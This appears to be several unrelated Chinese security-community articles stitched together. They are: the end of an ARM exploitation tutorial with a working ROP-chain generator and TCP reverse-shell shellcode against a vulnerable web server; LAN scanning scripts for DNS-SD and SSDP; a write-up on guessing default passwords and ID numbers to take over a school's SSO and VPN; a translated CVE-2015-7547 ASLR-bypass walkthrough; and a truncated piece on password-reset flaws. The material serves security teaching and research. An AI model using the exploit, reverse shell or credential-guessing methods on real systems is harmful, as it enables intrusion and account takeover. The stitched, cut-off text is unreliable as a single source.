参数/1/指定找到的gadget的质量，它基本上代表每个gadget的指令数。/1/将找到gadgets，其中第一条指令与seach参数匹配，第二条是链接opcde。/2/因此将找到额外的gadget，它们在链接一条指令之前有第二条指令。你也可以使用这些指令，只要它们不干扰你的ROP链。。。
Ropper显示在搜索的二进制文件中找到的指令的偏移量。在本文的第一部分中，我们已经了解了库在内存中的位置。为了在libc中使用这些gadget，我们将把offset
roppers显示给基址，我们已经发现了。
您已经知道ARM指令是32位长的，而Thumb指令只有16位。我们可以使用这个事实，通过将32位ARM指令一分为二，将它们解释为16位拇指指令。如果我们设置arch
ARMTHUMB，Ropper会自动执行此操作。注意：正如您在上面的asciinima中看到的，如果我们将ARMTHUMB设置为架构，ropper将显示两列偏移（红色和绿色）。绿色的是您要选择作为偏移的那个。您将注意到绿色地址的LSB为1，因此当执行gadget时，内核将自动跳转到thumb模式。
## ROP ROP ROP
下一步是构建ROP链，它
1. 设置R0、R1和R2，以便在调用mprotect（）后重新映射威胁的堆栈区域（rwx）
2. 调用mprotect（）
3. 跳到堆栈上的外壳代码
目前我不认为这将有助于解释ROP链。如果你想要解释，请联系我，我会加上一个。在此之前，我希望嵌入的评论和下面的要点足够了。
* 我的ROP链注释符号：
* (7): new (7th) gadget
* (7 p1): parameter 1 to gadget (7)
* ergo: "(15 p1): (16) mov r0, #56" means that parameter 1 of gadget 15 is the address of gadget (16).
* 准备 mprotect() 调用
* 如何准备R0：将SP+4加载到R0（11）中，通过计算R0&&R1将值与4096（我的系统上的页面大小）（14）对齐（SP的0xFFFFF001-LSB始终为0）。R1被gadget初始化（9p2）。
* 如何准备R1：加载0x01010101（15 p1）
* 如何准备R2：将0xffffffffffff-0x29加载到R6（3 p4）中，添加0x31（=0x7）（4）。然后将R6移到R2（6）
* mprotect() 被调用在 (15 p2)
* 当mprotect（）返回时，它将执行我们准备好的BX LR slide，它将执行POP{PC}，并从堆栈加载最后一个gadget的地址。然后执行最后一个gadget（16）：BLX SP。因为SP现在指向直接附加到ROP链的shellcode，所以我们将执行shellcode。
* 我使用的shellcode来自[Azerias关于ARM shellcode的伟大教程](https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/ "Azerias关于ARM外壳代码的伟大教程")-在本例中是TCP反向shellcode，它连接回4444端口。我将connectback IP更改为192.168.250.1。这意味着被利用的myhttpd进程将连接回主机系统上的netcat侦听器。
其他gadget，这是我的ROP链的一部分（见下面的脚本）用于设置BX LR，恢复它，准备值，等等。。。
ROP链嵌入在我的overflowgen.py脚本中（见下文），这将使ROP链的开发更加容易。花点时间理解脚本及其特性，比如--human和——httpencode。你可以在下一节读到关于我使用--human。
前几个变量（shift、shellcode、fmt、base）取决于您的环境。在本文中，我们找到了base、shift（offset）的值。检查它们，确保您了解它们的工作以及我们在本教程中是如何找到它们的。
您可以在下面的脚本中找到我用来利用myhttpd作为溢出变量的ROP链。
import struct
import sys
import argparse
from urllib.parse import quote_from_bytes
parser = argparse.ArgumentParser()
parser.add_argument('--human', help='print overflow string human readable', action='store_true', default=False)
parser.add_argument('--httpencode', help='HTTP encode overflow data (not pre_out() and post_out() data', action='store_true', default=False)
args = parser.parse_args()
# <I little endian unsigned integer
# adjust to your CPU arch
global fmt
fmt='<I'
# base address in the process memory of the library you want to use for your ROP chain
base=0xb6e5a000
# how many bytes should we shift? memory: [shift*"A"+data()+lib(),...]
shift=144
shifter = [bytes(shift*'A','ascii'),'shifter']
shellcode = b'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x52\x40\x49\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\xfa\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58'
def pre_out():
print("GET ", end='')
def post_out():
print(" HTTP/1.1\r\n\r\n\r\n", end='')
def data(data, cmt=''):
return [struct.pack(fmt,data),cmt]
def lib(offset, cmt=''):
return [struct.pack(fmt,base+offset),cmt]
def out(data):
data = [d[0] for d in data]
b = bytearray(b''.join(data))
pre_out()
sys.stdout.flush()
if shellcode != '':
for x in shellcode:
b.append(x)
if args.httpencode:
b = quote_from_bytes(b)
print(b, end='')
if not args.httpencode:
sys.stdout.buffer.write(b)
sys.stdout.flush()
post_out()
sys.stdout.flush()
def out_human(data):
pre_out()
sys.stdout.flush()
b = '['
for d in data:
b+='0x'+d[0].hex()+' = '+d[1]+'|'
if shellcode != '':
b += shellcode.hex()
b += ']'
print(b,end='')
sys.stdout.flush()
post_out()
sys.stdout.flush()
if args.human:
fmt = '>I'
overflow = [
shifter,
# prepare BX LR slider, chaining with r3
lib(0x00103251), # (1): 0x00103250 (0x00103251): pop {r3, r7, pc};
lib(0x0000220f,'r3'), # (1 p1): prepare r3 for gadget (3) 0x0000220e (0x0000220f): pop {r0, r3, r4, r6, r7, pc};
data(0x56565656,'r7'), # (1 p2): JUNK
lib(0x0005c038,'pc'), # = (1 p3: ) (2): 0x0005c038: pop {lr}; bx r3;
lib(0x000db435,'lr'), # = (2 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};
# / prepare BX LR slider
lib(0x00024cb4,'r0'), # (3 p1) (5:) and r0, r0, #1; bx lr;
lib(0x00103251, 'r3'), # (3 p2) (7:) restore lr,
data(0x54545454,'r4'), # (3 p3) # JUNK
data(0xFFFFFFFF-0x29,'r6'), # (3 p4): value for (4) gadget
data(0x57575757,'r7'), # (3 p5)
lib(0x00012f6f,'PC'), # (3 p6) (4:) adds r6, #0x31; bx r0;
lib(0x0003ea84), # (5 p1 bx lr) (6:) mov r2, r6; blx r3;
lib(0x00116b80), # (7: p1) (9:) 0x00116b80: pop {r1, pc};
data(0x57575757), # (7 p2)
lib(0x0005c038,'pc'), # = (7 p3: ) (8:) 0x0005c038: pop {lr}; bx r3; (2)
lib(0x000db435,'lr'), # = (8 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};
data(0xFFFFF001, 'r1'), #( 9 p1)
lib(0x00103251), # (9 p2) (10:) 0x00103250 (0x00103251): pop {r3, r7, pc};
lib(0x00103251,'r3'), # (10 p1) (11:) 0x00103250 (0x00103251): pop {r3, r7, pc};
data(0x56565656,'r7'), # (10 p2)
lib(0x00107cb4, 'PC'), # (10 p3) add r0, sp, #4; blx r3;
lib(0x00024e54, 'R3'), # (11 p1), (13:) #0x00024e54: and r0, r0, r1; bx lr;
data(0x57575757,'r7'), # (11 p2)
lib(0x0005c038,'pc'), # (11 p3: ) (12): 0x0005c038: pop {lr}; bx r3;
lib(0x000db435,'lr'), # (12 p1): bx lr slide: 0x000db434 (0x000db435): pop {pc};
lib(0x00116b80), # (13 p1) (14:) 0x00116b80: pop {r1, pc};
data(0x10101010, 'r1'), # (14 P1)
lib(0x000d22d0,'PC'), # (14 p2) mprotect
lib(0x00034d1d,'PC') # blx sp
]
if args.human:
out_human(overflow)
else:
out(overflow)
## ROP链开发过程
我的流程目前如下：
* 我一次只添加一个gadget。
* 在将负载发送到易受攻击的进程之前，我附加了调试器。
* 我设置新的gadget的方式是，PC将成为一些已知的东西，同样为寄存器。
* 在我执行有效负载之后，我检查寄存器以检查gadget是否成功执行。
为了简化这个任务，我在脚本中添加了一个--human选项，它基本上打印了以下输出：
[root@armbox ~]# python overflowgen-myhttpd.py --human
GET
[0x41[...]1414141414141414141414141 = shifter|0xb6f5d251 = |0xb6e5c20f = r3|0x56565656 = r7|
0xb6eb6038 = pc|0xb6f35435 = lr|0xb6e7ecb4 = r0|0xb6f5d251 = r3|0x54545454 = r4|0xffffffd6 = r6|
0x57575757 = r7|0xb6e6cf6f = PC|0xb6e98a84 = |0xb6f70b80 = |0x57575757 = |0xb6eb6038 = pc|
0xb6f35435 = lr|0xfffff001 = r1|0xb6f5d251 = |0xb6f5d251 = r3|0x56565656 = r7|0xb6f61cb4 = PC|
0xb6e7ee54 = R3|0x57575757 = r7|0xb6eb6038 = pc|0xb6f35435 = lr|0xb6f70b80 =
|0x10101010 = r1|0xb6f2c2d0 = PC|0xb6e8ed1d = PC|01308fe213ff2fe102200121921ac827513701df041c0aa14a701022023701df3f27201c491a01df201c012101df201c022101df04a052404940c2710b2701df02ff115cc0a8fa012f62696e2f736858] HTTP/1.1
添加gadget后，您可以人工打印负载并检查寄存器是否与计划值匹配。
### 一般的目标
请注意：并非所有寄存器都是相等的，至少在使用的libc上是这样。把东西移赋值到R0很容易。。。
(ropper) dimi@dimi-lab ~/arm-rop % count=0; while [[ $count -le 12 ]]; do echo -n R$count": "; ropper --file libc-2.28.so --quality 1 --search "mov r$count,%" 2>/dev/null| grep ':' | wc -l; let count=count+1; done
search mov R0, any
R0: 88
R1: 14
R2: 7
R3: 8
R4: 1
R5: 1
R6: 2
R7: 1
R8: 0
R9: 0
R10: 0
R11: 0
R12: 0
...移动一些东西出去，也许不是这样：
(ropper) dimi@dimi-lab ~/arm-rop % count=0; while [[ $count -le 12 ]]; do echo -n R$count": "; ropper --file libc-2.28.so --quality 1 --search "mov %, r$count" 2>/dev/null| grep ':' | wc -l; let count=count+1; done
search mov any, R0
R0: 0
R1: 3
R2: 6
R3: 8
R4: 13
R5: 32
R6: 25
R7: 10
R8: 8
R9: 7
R10: 5
R11: 3
R12: 4
这只是一个例子，而且只有arm（不是ARMTHUMB），尽管如此有趣。
另一个重要的观点是：你用你的值得到的寄存器越少越好。正如您前面看到的，您可能需要“堆栈绑定”的寄存器——特别是在创建线程的进程中，这些寄存器可能很少。
原文链接：<https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html> | 社区文章 |
**作者：0x7F@知道创宇404实验室
时间: 2021年09月28日**
## 0x00 前言
前段时间看到一款局域网扫描的 App「Fing」，相比于 Nmap
的端口服务扫描，他可以扫描获取目标主机的设备名称和用户名，在内网资产梳理时这些信息能够提供一定的帮助。
本文从 Fing 的功能入手，学习和介绍了目前常用的局域网服务发现协议，并根据这些协议，尝试编写 Python 扫描脚本。
## 0x01 Fing
Fing App 设备扫描功能演示：
[1.Fing设备扫描]
使用 Wireshark 抓包和测试发现，Fing 同样也通过常规的扫描技术进行主机发现，然后通过嗅探通信在 `5353` 端口的 `MDNS`
报文，从中提取设备信息。(关于 Fing 的扫描原理这里就不展开了)
`mDNS`
是常见的局域网主机/服务发现协议，这类协议常用于局域网设备之间进行自动发现，从而上层应用或服务可以实现零配置使用；由于这些协议功能的需要，所以协议中都包含了大量的描述信息，可以用于内网主机的扫描。
除了 `mDNS` 以外，局域网服务发现协议还有很多，比如：
1. DNS-SD(DNS Service Discovery)：基于DNS协议的服务发现
2. SSDP(Simple Service Discovery Protocol)：简答服务发现协议
3. NBNS(NetBIOS name service)：NetBIOS名称服务(已过时)
4. etc
## 0x02 DNS-SD
DNS-SD(DNS Service Discovery)是一种基于 DNS 协议的服务发现协议，设备之间可以通过该协议自动发现服务；DNS-SD 兼容
mDNS 协议，同样使用 UDP `5353` 端口，在 Wireshark 中统一标注为 `MDNS`。
使用 DNS-SD 协议的设备会周期性的在组播地址 `224.0.0.251`
广播自己感兴趣的服务名称，若有设备开启指定服务就会发送服务的详细信息给源设备；除此之外，这个报文还包含了源设备的信息，Fing
就是通过这个报文获取到的设备信息。通过 Wireshark 抓包如下：
[2.嗅探周期性的DNS-SD/mDNS报文]
除了通过嗅探周期性的报文获取信息，我们还发现 DNS-SD
协议提供了一种主动查询服务的功能(<https://datatracker.ietf.org/doc/html/rfc6763#section-9>)，通过向目标主机发送查询名为
`_services._dns-sd._udp.local`，类型为 `PTR` 记录的 DNS
查询报文，目标主机将返回自身开放的服务名称。(这里我们只讨论在内网环境下 DNS-SD 使用的场景，`DOMAIN=.local`)
使用 Python `scapy` 包的功能展示该请求和响应报文格式(未显示字段为默认值)：
[3.dnssd.local查询(scapy)]
随后再以目标的服务名称为查询名，发送 `PTR` 记录 DNS 查询报文，查询服务的详细信息，请求和响应报文格式如下：
[4.service详情查询(scapy)]
响应报文的附加字段里包含了服务的详细信息，从中我们可以提取到服务的协议、端口、以及设备信息：
[5.从dnssd响应报文中提取信息]
根据以上交互流程，我们编写 dnssd 的扫描脚本如下：
#/usr/bin/python3
#!coding=utf-8
import socket
import sys
from scapy.all import raw, DNS, DNSQR
def get_service_info(sock, target, resp):
service = (resp.an.rdata).decode()
# query each service detail informations
req = DNS(id=0x0001, rd=1, qd=DNSQR(qtype="PTR", qname=service))
#req.show()
sock.sendto(raw(req), target)
data, _ = sock.recvfrom(1024)
resp = DNS(data)
#resp.show()
# parse additional records
repeat = {}
for i in range(0, resp.arcount):
rrname = (resp.ar[i].rrname).decode()
rdata = resp.ar[i].rdata
if rrname in repeat:
continue
repeat[rrname] = rdata
if hasattr(resp.ar[i], "port"):
rrname += (" " + str(resp.ar[i].port))
if rrname.find("._device-info._tcp.local.") > 0:
print(" "*4, rrname, rdata)
else:
print(" "*4, rrname)
# end get_service_info()
def dnssd_scan(target):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2)
# query all service name
req = DNS(id=0x0001, rd=1, qd=DNSQR(qtype="PTR", qname="_services._dns-sd._udp.local"))
#req.show()
try:
sock.sendto(raw(req), target)
data, _ = sock.recvfrom(1024)
except KeyboardInterrupt:
exit(0)
except:
print("[%s] OFFLINE" % target[0])
return
resp = DNS(data)
#resp.show()
print("[%s] ONLINE" % target[0])
for i in range(0, resp.ancount):
get_service_info(sock, target, resp)
# end dnssd_scan()
if __name__ == "__main__":
if not (len([sys.argv]) > 0 and sys.argv[1].endswith(".0")):
print("usage: python3 dnssd.py 192.168.1.0")
exit(0)
print("dnssd scan start")
network = sys.argv[1].rstrip("0")
# scan local network
for i in range(1, 256):
target = (network + str(i), 5353)
dnssd_scan(target)
print("dnssd scan end")
# end main()
运行效果如下：
[6.dnssd.py运行结果]
> 后来发现 Nmap 也提供了 `dns-service-discovery.nse`
> 的扫描脚本(<https://github.com/nmap/nmap/blob/master/scripts/dns-service-> discovery.nse>)
## 0x03 SSDP
不过目前 DNS-SD 使用范围还是比较小的，最成熟 Zeroconf 实现是苹果家的 Bonjour，底层使用 DNS-SD
协议，用上面的脚本扫出来的大部分都是苹果的产品。
相比之下，SSDP(Simple Service Discovery Protocol)就使用得非常广泛了，他是 UPnP(Universal Plug
and Play) 的核心实现；在 SSDP 协议中，请求和响应报文会附加一些主机信息(RFC文档未强制规定)，我们同样可以利用这一点来扫描内网主机。
SSDP 的标准查询服务的报文格式如下，其中 `USER-AGENT` 字段未强制规定：
M-SEARCH * HTTP/1.1
S: uuid:ijklmnop-7dec-11d0-a765-00a0c91e6bf6
Host: 239.255.255.250:reservedSSDPport
Man: "ssdp:discover"
ST: ge:fridge
MX: 3
USER-AGENT: Google Chrome/93.0.4577.82 Mac OS X
SSDP 客户端会周期性的发送该查询报文，以寻找自己感兴趣的服务，我们可以通过嗅探提取 `USER-AGENT` 字段，获得主机的操作系统信息。
除此之外，如果设置 SSDP 请求报文中 `ST: ssdp:all` 字段，并将报文发向组网地址 `239.255.255.250:1900`，SSDP
服务端收到报文后，会将自身服务响应给源地址，响应报文格式如下，其中 `Server` 字段未强制规定：
HTTP/1.1 200 OK
S: uuid:ijklmnop-7dec-11d0-a765-00a0c91e6bf6
Ext:
Cache-Control: no-cache="Ext", max-age = 5000
ST: ge:fridge
USN: uuid:abcdefgh-7dec-11d0-a765-00a0c91e6bf6
AL: <blender:ixl><http://foo/bar>
Server:Microsoft-Windows/6.3 UPnP/1.0 UPnP-Device-Host/1.0
通过解析响应报文提取 `Server` 字段，也可以获得主机的操作系统信息。
根据以上交互流程，我们编写 ssdp 的扫描脚本如下：
#/usr/bin/python3
#!coding=utf-8
import socket
import struct
address = ("239.255.255.250", 1900)
result = {}
def get_serv_ua(resp):
lines = resp.split("\r\n")
for i in lines:
array = i.split(":")
if array[0].upper() == "SERVER" or array[0].upper() == "USER-AGENT":
return array[1]
# end-for
# end get_serv_ua()
def ssdp_scan():
print("[scan mode]")
req = b'M-SEARCH * HTTP/1.1\r\nHost: 239.255.255.250:1900\r\nST:ssdp:all\r\nMan: "ssdp:discover"\r\nMX:1\r\n\r\n'
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
# send "ssdp:all" query request
sock.sendto(req, address)
# receive and print
while True:
try:
resp, raddr = sock.recvfrom(1024)
except:
break
if raddr[0] not in result:
data = get_serv_ua(resp.decode())
result[raddr[0]] = data
print(raddr[0], data)
# end-while
# ssdp_scan()
def ssdp_sniffer():
print("[sniffer mode] (stop by Ctrl-C)")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(address)
# join the multicast group
maddr = struct.pack("4sl", socket.inet_aton("239.255.255.250"), socket.INADDR_ANY)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, maddr)
# receive and print
while True:
try:
resp, raddr = sock.recvfrom(1024)
except:
break
if raddr[0] not in result:
data = get_serv_ua(resp.decode())
result[raddr[0]] = data
print(raddr[0], data)
# ssdp_sniffer()
if __name__ == "__main__":
print("ssdp scan start")
ssdp_scan()
ssdp_sniffer()
print("ssdp scan end")
# end main()
运行效果如下：
[7.ssdp.py运行结果]
## 0x04 总结
除了文中提到的 DNS-SD 和 SSDP 协议，还有很多其他的协议可以帮助我们对内网主机进行梳理，读者可以自行扩展学习。
* * *
**References:**
<https://www.ietf.org/rfc/rfc6762.txt>
<https://www.ietf.org/rfc/rfc6763.txt>
<https://datatracker.ietf.org/doc/html/draft-cai-ssdp-v1-03>
<https://apps.apple.com/cn/app/fing-%E7%BD%91%E7%BB%9C%E6%89%AB%E6%8F%8F%E4%BB%AA/id430921107>
<https://zyun.360.cn/blog/?p=42>
<https://github.com/nmap/nmap/blob/master/scripts/dns-service-discovery.nse>
* * * | 社区文章 |
**前言**
以下提及的漏洞都提交到edusrc平台进行修复，大佬勿喷。
**信息收集**
在外网进行系统测试，发现大部分都需要统一身份认证，瞅瞅该目标单位的统一身份认证要求，可以看到初始密码的规则是 xxxx@SFZ后六位，用户名是学号
利用相关语法 site:xxx.edu.cn "学号|SFZ|密码"等，未找到有效信息，想到用类似
"助学金、奖学金、补贴"等关键词，发现一处敏感信息泄露，及时保存下来，没准就成为后面突破的一个节点。
**信息整合**
从统一身份认证登录的条件来看，我们可得出以下几点
1、用户是学号
2、SFZ后六位
3、已知部分用户的SFZ后五位
学号可以利用相关语法找到 site:xxx.edu.cn "姓名"等等，举例
由于SFZ倒数第六位+第五位是生日的日，那最高不超过31，而且倒数第五位已经确定了，可以构造如下（默认密码的规则是 xxxx+@+SFZ后六位，以下是举例
非真实）
xxxx@020101
xxxx@120101
xxxx@220101
最终在尝试第二个的时候，成功以默认密码登录
**突破**
可以看到需要更改密码，但前提是需要输入完整的SFZ号码，将当前的信息继续整合，已经知道某个用户的SFZ前七位+后六位，中间的数字是打码，其实不难猜出，只剩下年份的后三位(1999的999)
+ 月份(01
且不超过12)，其余的就交给Burp了，肯定有小伙伴问，年份如何确定了，毕竟还是很多的。其实是根据用户当前的年段（如大三），再结合自身，进行反推，大概是在
199x，最终成功修改密码。
锁定年份 199X(X是数字)、爆破月份
继续X+1，爆破月份
由于统一身份认证和VPN绑定，成功拿到VPN权限，可通过多个内网段
拿到统一身份认证平台，就可以跳转到多个系统进行测试（不在后续深入 点到为止） | 社区文章 |
# 【技术分享】如何通过CVE-2015-7547(GLIBC getaddrinfo)漏洞绕过ASLR
|
##### 译文声明
本文是翻译文章，文章来源：paloaltonetworks.com
原文地址：<http://researchcenter.paloaltonetworks.com/2016/05/how-cve-2015-7547-glibc-getaddrinfo-can-bypass-aslr/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[uglyB0y](http://bobao.360.cn/member/contribute?uid=2833932248)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x01 前言**
2016年2月16日，Google披露了一个重要的缓冲区溢出漏洞，该漏洞在GLIBC库中的getaddrinfo函数中触发。同时他们还提供了一份PoC。基于此，在本文中，我们将展示如何通过CVE-2015-7547绕过ASLR。
**0x02 漏洞描述**
getaddrinfo()函数的作用是通过查询DNS服务将主机名和服务解析为addrinfo结构体。
在getaddrinfo()函数实现中，使用了alloca()函数（在堆栈上分配缓冲区）对DNS进行响应。开始的时候，该函数首先分配一段栈空间用于DNS响应，
如果响应时间过长，它将重新分配一个堆缓冲区用于响应。但由于更新代码将缓冲区为新分配的堆缓冲区后，旧的堆栈缓冲区未及时释放，仍旧再使用。
这个悬空指针便造成了一个经典的缓冲区溢出。
**ASLR? ASLR!**
在上述情况下，可以通过这个漏洞覆盖getaddrinfo()函数的返回地址，但是我们应该将返回地址覆盖到哪里呢？在启用ASLR的系统中，模块地址是随机的。因此，攻击者不能将攻击流地址设置为预先设定的地址。
**fork()**
fork()是Linux中创建新进程的方法。一个典型的fork使用方法如下图所示：
fork出的子进程和父进程使用的相同的指令段，他们只有pid不相同，而pid是fork函数返回给子进程的。和windows下的代码复用的区别在于，这里意味着子进程与其父进程共享许多特性–具有相同的寄存器状态，堆栈和内存布局。
**0x03 程序流程示例**
考虑一个服务器应用程序，其运行模式如下：
1\. 客户端远程连接到应用程序。
2\. 应用程序自己fork一个子进程用于响应客户端请求
3\. 在处理客户端请求的过程中，子进程使用"getaddrinfo()"函数解析主机名。 同时，它向其DNS服务器发送DNS请求。
4\. DNS服务器对DNS请求做出一个合法响应。
5\. 子进程启动与已被解析的主机的连接。
每次主进程进行响应处理时，它都会自己fork一个子进程。根据前面的描述，这意味着所有子进程将共享相同的内存布局–包括加载模块的地址。
这种场景对于许多服务（例如HTTP代理，电子邮件服务器或DNS服务器）是非常常见的。
**0x04 攻击流程示例**
在实施攻击的过程中，我们假设攻击者具有能够响应受害者的任意DNS请求的能力。实现这种情形完全可以通过ARP欺骗、DNS欺骗完成。攻击场景如下图：
1\. 一个攻击者构造一个请求发送给受害服务器
2\. 为了响应攻击者的请求，受害服务器的守护进程fork出一个子进程
3\. 子进程处理请求时，发起一个DNS请求
4\. 攻击者回复一个恶意的DNS响应，该响应将子进程的返回地址覆盖，在这里，我们将其设置未0x12121212
5\. 攻击者获得子进程用connect()函数发起的TCP回连
如果0x12121212确实是getaddrinfo()的正确返回地址，那么该进程将正常运行，并通过connect()发起tcp连接。
如果不是这种情况，并且攻击者将返回地址写为其他任何地址，则应用程序将由于内存段错误或执行无效的指令而崩溃。
这种方式可以作为判断一个地址是否为getaddrinfo()的返回地址的一种方法，原因在于如果地址正确，那么一个TCP连接将会成功建立。由于模块的基址在不同的子进程中是没有随机化（前面提到的公用内存布局），于是这个地址在所有的子进程中可以通用。一个攻击者可以使用这种方式去遍历每一个可能的地址，知道正确建立TCP连接而获得正确的地址。
然而，采用这种方式进行基址定位需要猜解2的64次方的数量的地址，这并没有太大的现实意义。
**逐字节的逼近**
不过，攻击者可以每次只覆盖一个字节。 例如，假设getaddrinfo的返回地址为0x00007fff01020304：
我们首先只覆盖getaddrinfo()函数的返回地址最低有效位（LSB）的一字节。这里用0x00进行覆盖。由于在假设中getaddrinfo()的返回地址为0x00007fff01020304,将最低位覆盖为0x00，那么这里返回地址就会变为0x00007fff01020300，由于该地址是非法地址，函数返回后程序就会崩溃。于是我们继续重复上述操作，并且每次重复是LSB只加1（即第一次0x00,第二次0x01,第三次0x02,…），当我们将LSB增加到0x04时，getaddrinfo函数的返回地址为正确的返回地址0x00007fff01020304，此时程序不会崩溃，建立tcp连接。于是最低位的值便确定了。
接下来，我们重复上述整个操作，通过覆盖返回地址的两个字节（0x04
0x00）来枚举下一个字节，我们将返回地址的第一个字节设置为刚刚猜解出来的正确字节（0x04）,于是我们只需要采取相同办法猜解第二个字节即可。猜解成功的标志和第一个字节一样，建立正确的连接。
接下来是第三个字节，第四个字节。。。
通过这种逐字节逼近的方法，我们最多只需要进行8*2^8次（每个字节最多2^8次猜解，总共8字节）尝试便可以得到正确的返回地址，这种方式在几秒内便可得到结果。
**0x05 查找可利用的应用程序**
http://codesearch.debian.net是一个包含超过18,000 Debian包的索引的网站。我们通过该网站查找所有调用
fork（）和getaddrinfo（）函数的应用程序（这些程序都是有可能进行利用的），发现超过1300个潜在的可利用的应用程序。
然后，进一步的我们需要检查每个应用程序的源代码，检查其流程是否适合我们的需要。
**0x06 Tinyproxy**
Tinyproxy是Linux下一个小型的http代理软件，通过审计，发现该应用程序的执行流程符合上述分析的执行流程。当它在响应HTTP连接请求时，会fork出一个子进程，然后调用getaddrinfo（）函数来检索所请求的网站的IP地址。
然后使用connect（）函数连接该主机获取网站内容。
**1\. 堆栈任意指针泄露**
在下面的代码块中我们遇到了第一崩溃点：
rbx寄存器首先被覆盖，然后执行"mov BYTE PTR [rbx]，sil"指令，该指令可释放对rbx指向的地址的指针。
rbx原先是指向栈上的，也就是说，如果我们采用逐字节逼近的方法，枚举其值使得该程序在堆栈上泄漏一个地址。
下图（output of /proc/PID/maps）显示了堆栈的边界。 正如图中所示，它的初始大小总是大于0x1000字节。
寄存器rbx指向的地址必须是可写的，否则会引发分段错误导致程序崩溃。然而它的缺陷在于，无论在哪个地址写入“sil”值，只要它是可写地址，程序流将正确地继续，这意味着对于rbx的低12位设置什么值根本无关紧要，因为由于堆栈的缘故它总是可读可写的。
所以我们只要在堆栈范围内泄露了任意一个指针。当我们必须精确定位时，堆栈变量指向的地址并不会对程序流产生什么影响。
**2\. 泄露栈基址**
由于应用程序的流程总是相同的，所以栈的大小总是相同的。
这意味着我们可以依赖于栈基址到这些变量，结构体和缓冲区的偏移量进行定位。而且在这样的情况下，我们往往依赖于这样的常量偏移。所以首先应该得到栈基址。
由于我们已经得到一个在栈空间内的地址，所以泄露栈基址比枚举任意地址更简单。而且我们知道它拥有两个属性，一是栈基址与页面边界（0x1000）对齐，二是栈基址将是栈后面的第一个不可读的地址。
让我们假设堆栈基址在0x00007fffed008000。我们利用已经泄漏的任意堆栈地址，并将其对齐到页边界得到一个新的对齐地址，例如0x00007fffed000140对齐到0x00007fffed000000。然后，我们枚举堆栈基址，从这个对齐的地址开始进行覆盖，并在每次尝试之后递增0x1000（页大小）。在我们发送请求之后，等待一段时间，并检查服务器是否尝试连接到我们解析的IP。如果是，这意味着我们还没有达到堆栈基地。如果发生超时，说明服务器发生崩溃，我们达到了目标，获得了堆栈基址。
**3\. 堆栈偏移**
在从getaddrinfo返回之前，程序会执行以下检查：
注意以红色突出显示的块。如果我们到达它并且传递一个无效的堆指针作为参数，应用程序崩溃,因为它试图释放(free()函数)一个无效的堆块。如果要绕过这个free（）函数，r14和rdi必须相等。
r14指向原来的__alloca（）函数堆栈缓冲区。
由于堆栈基址先前泄漏，并且__alloca（）缓冲区与堆栈基址的偏移量应该是常量，因此我们不应该遇到任何问题。 然而，我们发现偏移在每次运行时略有不同。
为什么？
这涉及到内核代码对ASLR的处理问题，如下linux内核代码所示：
**/arch/x86/kernel/process.c**
观察上述内核代码，可以看到，如果ASLR被启用，每次堆栈分配时SP（堆栈指针）将减少一个随机数。这意味着在每次不同的运行时，在rsp和堆栈之间将存在一个随机增量。
幸运的是，这个增量非常小。我们可以轻松地枚举这个随机偏移。
看看上面的IDA代码片段，我们可以发现，如果rdi等于r14，程序将不会运行到释放rdi的那个分支。
因此，我们可以使用我们之前得到的堆栈基址，结合预先计算（即，如果该值于栈基址对齐程序将返回0），然后尝试所有其他2^9种可能性,便可得到此增量。
**4\. 泄漏LIBC模块地址**
这部分的实现是超级简单的，因为我们可以使用前面提到的技术（byte-by-byte approach 逐字节逼近）来枚举返回地址的每个字节从而得到它。
**5\. 代码执行**
剩下要做的就是构造一个ROP链，这是非常容易和直接。我们知道system()函数在libc的基址偏移的某个确定的位置，所以我们只需设置它的参数，并使用ROP调用它。
**0x07 结论**
在这项研究中，我们使用了Linux创建进程时的特性来绕过ASLR。这种技术同时也可以用于其他内存损坏漏洞的利用。因此，用户应始终尝试通过及时部署软件修补程序和更新来保护服务器。以保证我们在潜在威胁行动者行动前领先一步。 | 社区文章 |
## **前言**
最近一直在看国外众测的文章，偶尔也逛逛hackerone,发现公布的漏洞中存有不少的逻辑漏洞,毕竟在hackerone上提交漏洞过审之后给的是美元，还是很有诱惑力的。密码找回功能也是老调常谈的一个功能，前段时间也写过一篇文章是关于密码找回的，发现总结的不是很全面。借这个机会通过展示国外众测例子希望能对这个漏洞有个较为全面的总结
## **一 密码重置链接未过期**
当用户请求更改密码时，会得到一个密码重置链接来重置密码，该链接应该在一段时间后过期。如果没有过期可以多次使用密码重置链接来重置密码,那密码重置功能应该存在问题。
在hackerone上找了下，大部分的案例都是先请求获得一个密码重置链接，然后更改获得重置链接的邮箱，发现重置链接没有过期还可以使用，这也算一个思路吧。但是和我所认知的密码重置链接未过期还是有点偏差的，一般理解的密码重置链接未过期基本上是使用了重置密码链接还能再次使用或者再次获取密码重置链接后前面获取的密码重置链接未失效或者密码重置链接过期时间很长等等，大家都懂啥意思，就不具体举例子了
## **二 密码重置无速率限制**
我们在通过邮件或者短信获取找回密码的链接的时候由于服务器对获取链接的速率限制不严格或者没有限制,攻击者可以通过重放操作来发送大量的密码重置链接,从而产生短信轰炸或者邮箱轰炸漏洞，在日常的工作中其实可以尝试在email或者电话号码中添加特殊字符比如
空格 +86 ? \等来绕过对email或者电话号码的限制。常规操作了,原因很多师傅也分析过，这里不在多说。
重放请求包，获取大量的重置密码的邮件:
## **三 输入长密码时拒绝服务**
